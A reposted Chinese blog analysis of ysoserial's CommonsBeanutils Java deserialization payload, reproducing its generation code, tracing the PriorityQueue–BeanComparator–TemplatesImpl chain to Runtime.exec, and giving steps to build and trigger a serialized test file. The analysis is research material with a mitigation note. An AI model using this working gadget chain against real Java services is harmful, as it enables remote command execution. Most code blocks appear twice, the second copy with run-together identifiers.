转载

Java 反序列化之 CommonsBeanUtils 分析

一、简介

前几天看到 github 上的 ysoserial 更新至 0.0.4 ,增加了 CommonsBeanUtils 的 Java 反序列化 Payload 生成代码,原以为跟前面的 CommonsCollections 的原理一样,仔细看了一遍思路大不相同。 CommonsBeanutilsCollectionsLogging1 主要依赖的 jar 包有: commons-collections(2.0-3.2.2), commons-beanutils-1.9.2, commons-loggings-1.2 。

二、序列化

CommonsBeanutilsCollectionsLogging1 的主要代码如下 :
public Object getObject(final String command) throws Exception {
    final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final BeanComparator comparator = new BeanComparator("lowestSetBit");

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
    // stub data for replacement later
    queue.add(new BigInteger("1"));
    queue.add(new BigInteger("1"));

    // switch method called by comparator
    Reflections.setFieldValue(comparator, "property", "outputProperties");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = templates;
    return queue;
  }
 public Object getObject(final String command) throws Exception {
 final TemplatesImpltemplates = Gadgets.createTemplatesImpl(command);
 // mock method name until armed
 final BeanComparatorcomparator = new BeanComparator("lowestSetBit");
 
 // create queue with numbers and basic comparator
 final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
 // stub data for replacement later
 queue.add(new BigInteger("1"));
 queue.add(new BigInteger("1"));
 
 // switch method called by comparator
 Reflections.setFieldValue(comparator, "property", "outputProperties");
 
 // switch contents of queue
 final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
 queueArray[0] = templates;
 queueArray[1] = templates;
 return queue;
 }
在 CommonsCollections 的 payload 生成过程当中,需要形成反序列化的调用链。刚开始我以为这个是 CommonsCollections 的更新升级版,特意追了下 commons-collections 的相关代码,发现 commons-collections 在这里只是起到辅助作用,仅在 BeanComparator 中用到了 ComparableComparator 这个类,追踪了下 ComparableComparator 的源代码,它从 commons-collections-2.0 就已经存在了,而且在最新版本的 commons-collections 也未做较大改动。 下面是 BeanComparator 的相关代码:
package org.apache.commons.beanutils;

import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.util.Comparator;

import org.apache.commons.collections.comparators.ComparableComparator;
...
public class BeanComparator<T> implements Comparator<T>, Serializable {

    private String property;
    private final Comparator<?> comparator;
...
    public BeanComparator( String property ) {
        this( property, ComparableComparator.getInstance() );
    }

...
    public BeanComparator( String property, Comparator<?> comparator ) {
        setProperty( property );
        if (comparator != null) {
            this.comparator = comparator;
        } else {
            this.comparator = ComparableComparator.getInstance();
        }
    }
}
package org.apache.commons.beanutils;
 
importjava.io.Serializable;
importjava.lang.reflect.InvocationTargetException;
importjava.util.Comparator;
 
importorg.apache.commons.collections.comparators.ComparableComparator;
...
public class BeanComparator<T> implements Comparator<T>, Serializable {
 
    private String property;
    private final Comparator<?> comparator;
...
    public BeanComparator( String property ) {
        this( property, ComparableComparator.getInstance() );
    }
 
...
    public BeanComparator( String property, Comparator<?> comparator ) {
        setProperty( property );
        if (comparator != null) {
            this.comparator = comparator;
        } else {
            this.comparator = ComparableComparator.getInstance();
        }
    }
}
回归正题,在今天这个 payload 生成过程当中也需要形成反序列化的调用链, PriorityQueue 是符合这个条件的,其自身实现了 readObject 。 PriorityQueue 是使用数组实现的完全二叉树优先队列,不允许空值,而且不支持 non-comparable 的对象。在最终达到 Runtime.exec 之前,需要解决以下几个问题:
  • 放入 PriorityQueue 的对象需要实现 readObject
  • 要实现 Comparable 接口
经过第一个条件的过滤之后,可以发现 jdk 中的 TemplatesImpl 类可以满足条件。 但是, TemplatesImpl 未实现 Comparable 接口,为了绕过这个,可以看到代码当中首先添加了两个 BigInteger 值为 1 的对象。 BeanComparator 中设置的比较属性为 lowestSetBit ,这里也可以改为 BigInteger 其它的可比较属性名称,前期分析过程当中原以为是为了在比较过程当中利用特定的属性触发某些条件,继续跟踪下去发现根本不是。 由于 PriorityQuque 的泛型类型设置为了 Object ,所以是任何实现了 Comparable 接口的对象都可以放进去的。那么不可比较的 templates 对象怎么处理? 首先,利用 Java 反射机制将 Comparator 的 property 设置为 TemplatesImpl 的属性 outputProperties ,但是这个属性在这里未起到比较的作用。它的重要作用将在 payload 反序列化时体现。 其次,我们看到代码利用反射机制直接获取了 PriorityQueue 的内置属性数组 queue ,将 templates 按照索引值填入了 queue ,这样做是利用了 Java 的泛型的类型擦除,这里简单介绍下类型擦除,早期的 Java 语言是不支持泛型的,后来在 Java5 当中加入了泛型支持,在 Java 编译阶段将具体的类型信息擦除了,所以在 Java 的泛型代码内部,是无法获得任何有关泛型参数类型的信息。这样就规避掉了条件二的限制,并且在序列化数据中保留了 templates 的类型信息,不得不说这段代码实现的非常精巧。 如果不做上述的处理,直接使用 queue.add 方法添加 templates, 在生成 payload 时,将会触发 Java 的 SecurityManager 安全机制,抛出异常。 最后,这段代码中精心构造的 PriorityQueue 对象,包含的两个 TemplatesImpl 对象被序列化,相关被序列化的还有 BeanComparator 对象的属性 property ,它的值为 outputProperties 。 下面我们看看对象 templates 的生成相关代码 :
static {
    // special case for using TemplatesImpl gadgets with a SecurityManager enabled
    System.setProperty(DESERIALIZE_TRANSLET, "true");

  }


  public static class StubTransletPayload extends AbstractTranslet implements Serializable {
    private static final long serialVersionUID = -5971610431559700674L;

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
  }

  // required to make TemplatesImpl happy
  public static class Foo implements Serializable {
    private static final long serialVersionUID = 8207363842866235160L;
  }
...
...
...
  public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
    final TemplatesImpl templates = new TemplatesImpl();

    // use template gadget class
    ClassPool pool = ClassPool.getDefault();
    pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
    final CtClass clazz = pool.get(StubTransletPayload.class.getName());
    // run command in static initializer
    // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
    clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");
    // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
    clazz.setName("ysoserial.Pwner" + System.nanoTime());

    final byte[] classBytes = clazz.toBytecode();

    // inject class bytes into instance
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
      classBytes,
      ClassFiles.classAsBytes(Foo.class)});

    // required to make TemplatesImpl happy
    Reflections.setFieldValue(templates, "_name", "Pwnr");
    Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    return templates;
  }
 static {
 // special case for using TemplatesImpl gadgets with a SecurityManager enabled
 System.setProperty(DESERIALIZE_TRANSLET, "true");
 
 }
 
 
 public static class StubTransletPayload extends AbstractTranslet implements Serializable {
 private static final long serialVersionUID = -5971610431559700674L;
 
 public void transform(DOMdocument, SerializationHandler[] handlers) throws TransletException {}
 
 @Override
 public void transform(DOMdocument, DTMAxisIteratoriterator, SerializationHandlerhandler) throws TransletException {}
 }
 
 // required to make TemplatesImpl happy
 public static class Foo implements Serializable {
 private static final long serialVersionUID = 8207363842866235160L;
 }
...
...
...
 public static TemplatesImplcreateTemplatesImpl(final String command) throws Exception {
 final TemplatesImpltemplates = new TemplatesImpl();
 
 // use template gadget class
 ClassPoolpool = ClassPool.getDefault();
 pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
 final CtClassclazz = pool.get(StubTransletPayload.class.getName());
 // run command in static initializer
 // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
 clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
 
final byte[] classBytes = clazz.toBytecode();
 
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes,
ClassFiles.classAsBytes(Foo.class)});
 
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
 return templates;
 }
上述代码中的重点是利用了 Javaassist 这个动态代理库,这个库在我看来实现了 Java 当中的元编程,就是让 Java 代码在运行当中动态编写可以运行的代码。利用它为 TemplatesImpl 对象的属性 _bytecodes 填入了静态内置类 StubTransletPayload 的字节码,动态代理库在这个静态内置类的静态初始化方法中加入了需要执行的指令,一般都为 Runtime.exec

三、反序列化

上面简单分解了序列化 payload 生成过程,这里将剖析反序列化的过程。 首先,我们看看 PriorityQueue 的 readObject() 函数调用过程:
private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

  ...
  private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

  ...
  private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

  ...
    private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }
private void readObject(java.io.ObjectInputStream s)
        throwsjava.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();
 
        // Read in (and discard) array length
        s.readInt();
 
        queue = new Object[size];
 
        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();
 
        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
 }
 
 ...
 private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }
 
 ...
 private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }
 
 ...
    private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }
从上面的代码可以看出 PriorityQueue 在反序列化过程中对队列当中的元素做了比较排序,调用了 Comparator 进行元素比较。进一步跟进 BeanComparator 的 compare 方法 :
public int compare( T o1, T o2 ) {
        if ( property == null ) {
            // compare the actual objects
            return internalCompare( o1, o2 );
        }

        try {
            Object value1 = PropertyUtils.getProperty( o1, property );
            Object value2 = PropertyUtils.getProperty( o2, property );
            return internalCompare( value1, value2 );
        }
        catch ( IllegalAccessException iae ) {
    ...
        }
    }
    public int compare( T o1, T o2 ) {
        if ( property == null ) {
            // compare the actual objects
            return internalCompare( o1, o2 );
        }
 
        try {
            Object value1 = PropertyUtils.getProperty( o1, property );
            Object value2 = PropertyUtils.getProperty( o2, property );
            return internalCompare( value1, value2 );
        }
        catch ( IllegalAccessExceptioniae ) {
 ...
        }
    }
使用了 PropertyUtils 类的 getPropety 方法,代码在这里就不贴了,其实就是调用了对象 (templates) 的 Bean 方法 (getOutputProperties) ,而 TemplatesImpl 类的这个方法的具体内容就是关键的一句话 return newTransformer ( ) . getOutputProperties ( ) ; , newTransformer 方法的后续关键代码如下 :
public int compare( T o1, T o2 ) {
        if ( property == null ) {
            // compare the actual objects
            return internalCompare( o1, o2 );
        }

        try {
            Object value1 = PropertyUtils.getProperty( o1, property );
            Object value2 = PropertyUtils.getProperty( o2, property );
            return internalCompare( value1, value2 );
        }
        catch ( IllegalAccessException iae ) {
        ...
        }
    }
    public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
...
        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);
...
    }
...
    private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {

...
            if (_class == null) defineTransletClasses();
...
        }
...
    }
...
    private void defineTransletClasses() throws TransformerConfigurationException {
...
        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

        try {
            final int classCount = _bytecodes.length;
...
            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
...
            }
...
        catch (ClassFormatError e) {
...
        }
    }
    public int compare( T o1, T o2 ) {
        if ( property == null ) {
            // compare the actual objects
            return internalCompare( o1, o2 );
        }
 
        try {
            Object value1 = PropertyUtils.getProperty( o1, property );
            Object value2 = PropertyUtils.getProperty( o2, property );
            return internalCompare( value1, value2 );
        }
        catch ( IllegalAccessExceptioniae ) {
        ...
        }
    }
    public synchronizedTransformernewTransformer()
        throws TransformerConfigurationException
    {
...
        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);
...
    }
...
    private TransletgetTransletInstance()
        throws TransformerConfigurationException {
        try {
 
...
            if (_class == null) defineTransletClasses();
...
        }
...
    }
...
    private void defineTransletClasses() throws TransformerConfigurationException {
...
        TransletClassLoaderloader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });
 
        try {
            final int classCount = _bytecodes.length;
...
            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
...
            }
...
        catch (ClassFormatError e) {
...
        }
    }
从代码中可以看到, newTransformer 中调用了 TransformerImpl 的构造函数,此构造函数的第一个参数就调用了一个私有的 getTransletInstance() 函数,前面生成 templates 对象时,没有给它的成员变量 _class 赋值,所以接着调用了 defineTransletClasses() 函数,最后在 defineTransletClasses() 函数中可以看到定义了一个类加载器( TransletClassLoader ),使用这个类加载器加载 _bytecodes 成员变量的字节码,通过前面的梳理可以知道是 Gadgets 类的内部静态类 StubTransletPayload ,当这个类加载成功后,有 Javaassist 动态注入的静态初始化方法就会执行,也就是我们最终的目标 : Runtime.exec

四、验证

为了验证上述的推理过程,我们可以用如下的两段代码进行调试验证:
// 将下面三行代码追加到 CommonsBeanutilsCollectionsLogging1 类的 templates 的返回对象后面
// 在 ysoerial 目录中执行 mvn clean;mvn package
// 然后执行 java -jar ./target/ysoserial-0.0.5-SNAPSHOT-all.jar CommonsBeanutilsCollectionsLogging1 'touch /tmp/123qwe'
// 可以单独生成 templates 对象的序列化文件 /tmp/TemplatesImpl.ser
 FileOutputStream fos = new FileOutputStream("/tmp/TemplatesImpl.ser");
 ObjectOutputStream oos = new ObjectOutputStream(fos);
 oos.writeObject(templates);



// 保存为 ReadObject.java 文件,执行 javac ReadObject.java;java -classpath .:./target/ysoserial-0.0.5-SNAPSHOT-all.jar ReadObject
// 执行成功后可以在 /tmp/ 下看到 123qwe 文件
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class ReadObject {
 public static void main(String[] args) throws Exception {
 ObjectInputStream oin = new ObjectInputStream(new FileInputStream("/tmp/TemplatesImpl.ser"));
 TemplatesImpl templates = (TemplatesImpl)oin.readObject();
 templates.getOutputProperties(); //很关键的触发语句
 }
}
// 将下面三行代码追加到 CommonsBeanutilsCollectionsLogging1 类的 templates 的返回对象后面
// 在 ysoerial 目录中执行 mvn clean;mvn package
// 然后执行 java -jar ./target/ysoserial-0.0.5-SNAPSHOT-all.jar CommonsBeanutilsCollectionsLogging1 'touch /tmp/123qwe'
// 可以单独生成 templates 对象的序列化文件 /tmp/TemplatesImpl.ser
 FileOutputStreamfos = new FileOutputStream("/tmp/TemplatesImpl.ser");
 ObjectOutputStreamoos = new ObjectOutputStream(fos);
 oos.writeObject(templates);
 
 
 
// 保存为 ReadObject.java 文件,执行 javac ReadObject.java;java -classpath .:./target/ysoserial-0.0.5-SNAPSHOT-all.jar ReadObject
// 执行成功后可以在 /tmp/ 下看到 123qwe 文件
importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 
importjava.io.FileInputStream;
importjava.io.ObjectInputStream;
 
public class ReadObject {
 public static void main(String[] args) throws Exception {
 ObjectInputStreamoin = new ObjectInputStream(new FileInputStream("/tmp/TemplatesImpl.ser"));
 TemplatesImpltemplates = (TemplatesImpl)oin.readObject();
 templates.getOutputProperties(); //很关键的触发语句
 }
}

五、调用链

最终分析出的反序列化调用链如下 :
Gadget chain:
  ObjectInputStream.readObject()
    PriorityQueue.readObject()
      PriorityQueue.heapify()
        PriorityQueue.siftDown()
          siftDownUsingComparator()
            BeanComparator.compare()
              TemplatesImpl.getOutputProperties()
                TemplatesImpl.newTransformer()
                  TemplatesImpl.getTransletInstance()
                    TemplatesImpl.defineTransletClasses()
                      TemplatesImpl.TransletClassLoader.defineClass()
                        Pwner*(Javassist-generated).<static init>
                          Runtime.exec()
Gadgetchain:
 ObjectInputStream.readObject()
 PriorityQueue.readObject()
 PriorityQueue.heapify()
 PriorityQueue.siftDown()
 siftDownUsingComparator()
 BeanComparator.compare()
 TemplatesImpl.getOutputProperties()
 TemplatesImpl.newTransformer()
 TemplatesImpl.getTransletInstance()
 TemplatesImpl.defineTransletClasses()
 TemplatesImpl.TransletClassLoader.defineClass()
 Pwner*(Javassist-generated).<static init>
 Runtime.exec()

六、影响范围

去年受到 Java 反序列化影响的容器、应用软件若是依靠升级 commons-collections 来处理漏洞,同时在 Java 的运行环境当中包含了 commons-beanutils.jar 和 commons-logging.jar ,是仍然有可能受到 Java 反序列化的攻击的。 目前并没有相关官方补丁来修复该问题,临时解决方案是检查应用业务对外接口,尽量禁止对外的序列化数据接口。
正文到此结束
Loading...